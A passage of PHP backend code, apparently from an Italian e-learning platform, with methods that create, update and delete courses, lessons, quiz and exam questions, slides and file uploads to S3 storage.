			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Lezione cancellata con succeso", true) );
		}
	}

	


	function aggiornaTitoloLezioneCorso($_id_lezione, $_titolo){
		$titolo =  $this->db->quoteText($_titolo);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET titolo = $titolo WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Titolo della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function cancellaVideoLezione($_id_lezione){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET video_url = '' WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Video della lezione cancellato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaPrezzoModulo($_id_modulo, $_prezzo){
		$prezzo =  $this->db->quoteText($_prezzo);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET prezzo = $prezzo WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Prezzo del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	

	function aggiornaTimeLezioneCorso($_id_lezione, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET time = $time WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveNumeroDomandeEsame($_id_esame, $_numero_domande){
		$numero_domande =  $this->db->quoteInt($_numero_domande);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET numero_domande = $numero_domande WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Numero domande esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function autosaveRatingEsame($_id_esame, $_rating){
		$rating =  $this->db->quoteInt($_rating);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET rating = $rating WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Rating esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}


	function aggiornaTimeLezioneQuizCorso($_id_lezione, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz_time = $time WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaTimeEsameCorso($_id_esame, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET time = $time WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaTimerSlideLezioneCorso($_id_lezione, $_timer_slide){
		$timer_slide =  $this->db->quoteInt($_timer_slide);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET timer_slide = $timer_slide WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timer slide della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveScorrimentoAutomaticoSlideLezione($_id_lezione, $_scorrimento_automatico_slide){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		if($_scorrimento_automatico_slide){$scorrimento_automatico_slide = 1;}else{$scorrimento_automatico_slide = 0;}
		$scorrimento_automatico_slide =  $this->db->quoteInt($scorrimento_automatico_slide);
		$q = "UPDATE corso_lezione SET scorrimento_automatico_slide = $scorrimento_automatico_slide WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Scorrimento automatico slide della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveDisabilitaNavigazioneLezione($_id_lezione, $_disabilita_navigazione){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		if($_disabilita_navigazione){$disabilita_navigazione = 1;}else{$disabilita_navigazione = 0;}
		$disabilita_navigazione =  $this->db->quoteInt($disabilita_navigazione);
		$q = "UPDATE corso_lezione SET disabilita_navigazione = $disabilita_navigazione WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Disabilita navigazione della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaDomandaLezioneCorso($_id_domanda, $_domanda){
		$domanda =  $this->db->quoteText($_domanda);
		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$q = "UPDATE corso_lezione_domanda SET domanda = $domanda WHERE id_domanda = $id_domanda;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Domanda aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function aggiornaDomandaEsameCorso($_id_domanda, $_domanda){
		$domanda =  $this->db->quoteText($_domanda);
		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$q = "UPDATE corso_esame_domanda SET domanda = $domanda WHERE id_domanda = $id_domanda;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Domanda aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function aggiornaRispostaLezioneCorso($_id_risposta, $_risposta, $_corretta){
		$risposta =  $this->db->quoteText($_risposta);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		$corretta =  $this->db->quoteInt($_corretta);
		$q = "UPDATE corso_lezione_risposta SET risposta = $risposta, corretta = $corretta WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Risposta aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveRispostaDomandaLezioneCorretta($_id_risposta, $_id_domanda){
		$this->db->beginTransaction();

		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		
		$q = "UPDATE corso_lezione_risposta SET corretta = 1 WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if(!$check){		
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );	
		}

		$q = "UPDATE corso_lezione_risposta SET corretta = 0 WHERE id_domanda = $id_domanda AND id_risposta != $id_risposta;";
		$check = $this->db->SafeExec($q);

		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento eseguito con succeso", true) );
		}
	}

	function autosaveRispostaDomandaEsameCorretta($_id_risposta, $_id_domanda){
		$this->db->beginTransaction();

		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		
		$q = "UPDATE corso_esame_risposta SET corretta = 1 WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if(!$check){		
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );	
		}

		$q = "UPDATE corso_esame_risposta SET corretta = 0 WHERE id_domanda = $id_domanda AND id_risposta != $id_risposta;";
		$check = $this->db->SafeExec($q);

		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento eseguito con succeso", true) );
		}
	}

	

	

	function aggiornaRispostaEsameCorso($_id_risposta, $_risposta, $_corretta){
		$risposta =  $this->db->quoteText($_risposta);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		$corretta =  $this->db->quoteInt($_corretta);
		$q = "UPDATE corso_esame_risposta SET risposta = $risposta, corretta = $corretta WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Risposta aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}



	function aggiornaOggettoLezione($_id_lezione, $_subject){
		$subject =  $this->db->quoteText($_subject);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET subject = $subject WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Oggetto della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaQuizLezioneCorso($_id_lezione, $_quiz){
		$quiz =  $this->db->quoteInt($_quiz);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz = $quiz WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($quiz){
				return $this->printMessage( $this->responseMessage("Quiz della lezione attivato!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Quiz della lezione disattivato!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaImageLezioneCorso($_id_lezione, $_image){
		$image =  $this->db->quoteInt($_image);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET image = $image WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($image){
				return $this->printMessage( $this->responseMessage("Slide della lezione attivata!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Slide della lezione disattivata!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaVideoLezioneCorso($_id_lezione, $_video){
		$video =  $this->db->quoteInt($_video);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET video = $video WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($video){
				return $this->printMessage( $this->responseMessage("Video della lezione attivato!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Video della lezione disattivato!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	
	

	function updateCorso($_id_corso,$_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_tipologia, $_erogazione){
		$id_corso =  $this->db->quoteInt($_id_corso);
		// $tipologia =  $this->db->quoteInt($_tipologia);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "UPDATE corso SET "
				. " prezzo = $prezzo, "  
				. " durata = $durata, "  
				. " titolo = $titolo, "  
				. " categoria = $categoria, "  
				. " colore = $colore, "  
				. " descrizione = $descrizione, "  
				. " finalita = $finalita, "  
				. " programma = $programma, "  
				. " destinatari = $destinatari, "  
				. " contenuti = $contenuti, "  
				. " erogazione = $erogazione, "  
				//. " tipologia = $tipologia, "  
				. " caratteristiche = $caratteristiche "  
				. " WHERE id_corso = $id_corso;";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Corso modificato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function insertCorso($_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_tipologia, $_erogazione, $_disabilita_navigazione, $_scorrimento_automatico_slide, $_timer_come_video, $_timer_lezione, $_timer_slide){
		$this->db->beginTransaction();
		/******* Default value per le lezioni */
		if($_disabilita_navigazione){ $disabilita_navigazione =  $this->db->quoteInt(1);	}else{ $disabilita_navigazione =  $this->db->quoteInt(0); }
		if($_scorrimento_automatico_slide){ $scorrimento_automatico_slide =  $this->db->quoteInt(1);	}else{ $scorrimento_automatico_slide =  $this->db->quoteInt(0); }
		if($_timer_come_video){ $timer_come_video =  $this->db->quoteInt(1);	}else{ $timer_come_video =  $this->db->quoteInt(0); }
		$timer_lezione =  $this->db->quoteInt($_timer_lezione);
		$timer_slide =  $this->db->quoteInt($_timer_slide);
		
		/******* */
		$tipologia =  $this->db->quoteInt($_tipologia);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "INSERT INTO corso "
				. " (prezzo,durata,titolo,categoria,colore,descrizione,finalita,programma,destinatari,contenuti,caratteristiche, tipologia, erogazione, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, timer_lezione, timer_slide) "
				. " VALUES($prezzo,$durata,$titolo,$categoria,$colore,$descrizione,$finalita,$programma,$destinatari,$contenuti,$caratteristiche, $tipologia, $erogazione, $disabilita_navigazione, $scorrimento_automatico_slide, $timer_come_video, $timer_lezione, $timer_slide); ";  
		$id_corso =$this->db->SafeInsert($query);
		if(!$id_corso){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il corso!".$query, false) );
		}

		$query_l = "INSERT INTO corso_lezione (id_corso, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, time, timer_slide) VALUES($id_corso, $disabilita_navigazione, $scorrimento_automatico_slide, $timer_come_video, $timer_lezione, $timer_slide);";
		$id_lezione= $this->db->SafeInsert($query_l);
		if(!$id_lezione){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Lezioni del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}


		// $query_l = "INSERT INTO corso_esame (id_corso) VALUES($id_corso);";
		// $id_esame= $this->db->SafeInsert($query_l);
		// if(!$id_esame){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }

		// $query_l = "INSERT INTO corso_esame_domanda (id_esame) VALUES($id_esame);";
		// $id_domanda= $this->db->SafeInsert($query_l);
		// if(!$id_domanda){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		// $query_l = "INSERT INTO corso_esame_risposta (id_domanda) VALUES($id_domanda);";
		// $id_risposta= $this->db->SafeInsert($query_l);
		// if(!$id_risposta){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Risposta domanda esame  del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }
		
		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Corso non inserito errore in fase di creazione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Corso inserito con successo!", true) );
		}
	}

	function rimuoviDomandaLezione($id_domanda){
		$this->db->beginTransaction();
		$id_domanda =  $this->db->quoteInt($id_domanda);
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_domanda=$id_domanda");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata alla lezione!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}
	function rimuoviDomandaEsame($id_domanda){
		$this->db->beginTransaction();
		$id_domanda =  $this->db->quoteInt($id_domanda);
		$check = $this->db->SafeExec("DELETE FROM corso_esame_domanda WHERE id_domanda=$id_domanda");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata all esame!", false) );
		}
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Domanda cancellata con succeso", true) );
		}
	}

	function aggiungiDomandaEsame($_id_modulo){
		$this->db->beginTransaction();
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$query_l = "INSERT INTO corso_esame_domanda (id_modulo) VALUES($id_modulo);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_esame_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova domanda!", true) );	

		}
	}

	function aggiungiDomandaLezione($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova domanda!", true) );	

		}
	}

	function deleteCorso($_id_corso){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "UPDATE corso SET "
				. " attivo = 0 "  
				. " WHERE id_corso= $id_corso;";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Corso eliminato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function assegnaCorsoCentro($_id_centro, $_id_corso){
		$id_centro =  $this->db->quoteInt($_id_centro);
		$id_corso =  $this->db->quoteInt($_id_corso);
		if($this->db->SafeInsert("INSERT INTO centri_corsi_assegnati (id_centro, id_corso) VALUES($id_centro, $id_corso);")){		
			return $this->printMessage( $this->responseMessage("Corso associato al centro!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile associare il corso al centro!", false) );
		}
	}

	function onoffCorsoCentro($_onoff, $_id_corso){
		$onoff =  $this->db->quoteInt($_onoff);
		$id_corso =  $this->db->quoteInt($_id_corso);
		if($this->db->SafeExec("UPDATE centri_corsi_assegnati SET active = $onoff WHERE id_corso = $id_corso")){		
			return $this->printMessage( $this->responseMessage("Operazione eseguita con successo!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Non è stato possibile eseguire l'operazione!", false) );
		}
	}
	
	function getFilesCorso($id_corso) {
		$res = $this->getListaFilePrivate('corso', $id_corso);
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getFilesLezione($id_lezione) {
		$res = $this->getListaFilePrivate('lezione', $id_lezione, false);
		return $this->printMessage( $this->responseMessage($res, true) );
	}


	
	function getFileCorso($id_corso, $filename) {
		
		$this->getFile("corso",$id_corso,$filename);
	}

	function getFileLezione($id_lezione, $filename) {
		
		$this->getFile("lezione",$id_lezione,$filename);
	}

	function cancellaFileLezione($id_lezione, $filename) {
		
		$this->deleteFileS3Private("lezione",$id_lezione,$filename);
	}


	function cancellaFileCorso($id_corso, $filename) {
		
		$this->deleteFileS3Private("corso",$id_corso,$filename);
	}
	
	function uploadFilesCorso($id_corso, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("corso", $id_corso, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}

	function updateSlideLezione($id_lezione, $image_url){
		$id_lezione =  $this->db->quoteInt($id_lezione);
		$image_url =  $this->db->quoteText($image_url);
		$q = "UPDATE corso_lezione SET image_url = $image_url WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Slides aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}

	}
	function emptyArray(){
		return $this->printMessage( $this->responseMessage([], false) );
	}

	function retTrue(){
		return $this->printMessage( $this->responseMessage(true, false) );
	}

	function uploadFilesLezione($id_lezione, $type, $files){
		
		$ret= array();
		$main_folder = "lezione";
		$is_video = false;
		
		for ($i=0; $i < count($files); $i++) { 
			switch ($type) {
				case 'image': 
					$folder = $id_lezione."/image";
					$comp = $this->compressImage($files[$i]);
					if($comp){
						$ret[] = $this->putFileS3Private("lezione", $folder, $comp); 
					}else{
						//$ret[] = $this->putFileS3Private("lezione", $folder, $files[$i]); 
					}
				break;
				case 'video': $ret[] = $this->putVideoS3ToConvertPrivate($files[$i], $id_lezione); break;
				default: $folder = $id_lezione; $ret[] = $this->putFileS3Private("lezione", $folder, $files[$i]); break;
			}
			
		}

		if($type == "image"){
			$_id_lezione =  $this->db->quoteInt($id_lezione);
			$lezione = $this->db->SafeFetchOne("SELECT image_url FROM corso_lezione WHERE id_lezione=$_id_lezione");
			try {
				$slides = json_decode($lezione['image_url']);
			}catch(Exception $e){
				$slides = array();
			}
		}
		for ($i=0; $i < count($ret); $i++) { 
			if($ret[$i]){
				$nome_file = end(explode("/",$ret[$i]));
				if($type == "image"){
					$url_path = "image/".$nome_file;
					$url = $this->db->quoteText($url_path);
					if($nome_file){
